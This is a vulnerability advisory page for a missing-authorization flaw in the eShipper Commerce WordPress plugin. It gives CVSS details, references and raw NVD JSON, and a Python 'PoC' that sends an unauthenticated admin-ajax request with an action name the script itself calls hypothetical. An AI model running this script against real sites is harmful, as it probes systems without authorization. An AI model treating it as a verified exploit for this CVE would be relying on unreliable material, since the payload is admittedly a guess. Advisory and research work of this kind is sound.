CVE-2026-39689

Description

Missing Authorization vulnerability in eshipper eShipper Commerce eshipper-commerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects eShipper Commerce: from n/a through <= 2.16.12.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

eShipper Commerce <= 2.16.12

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_vulnerability(target_url):
    """
    PoC for CVE-2026-39689: Missing Authorization in eShipper Commerce
    This script attempts to exploit the broken access control.
    """
    # The vulnerable endpoint is typically wp-admin/admin-ajax.php
    ajax_url = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Payload attempting to trigger an unauthorized action
    # Action name might vary based on plugin internals, this is a generic example
    payload = {
        "action": "eshipper_commerce_export",  # Hypothetical action
        "data": "malicious_data"
    }
    
    try:
        response = requests.post(ajax_url, data=payload, timeout=10)
        if response.status_code == 200 and "success" in response.text:
            print(f"[+] Potential vulnerability detected at {target_url}")
            print(f"[+] Response: {response.text[:100]}")
        else:
            print(f"[-] Target does not appear vulnerable or action name is incorrect.")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    target = "http://example.com" # Replace with target
    check_vulnerability(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39689
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39689
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39689/
[4] VulDB https://vuldb.com/cve/CVE-2026-39689
[5] https://patchstack.com/database/Wordpress/Plugin/eshipper-commerce/vulnerability/wordpress-eshipper-commerce-plugin-2-16-12-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39689", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:40.937", "lastModified": "2026-04-29T10:17:40.863", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in eshipper eShipper Commerce eshipper-commerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects eShipper Commerce: from n/a through <= 2.16.12."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/eshipper-commerce/vulnerability/wordpress-eshipper-commerce-plugin-2-16-12-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}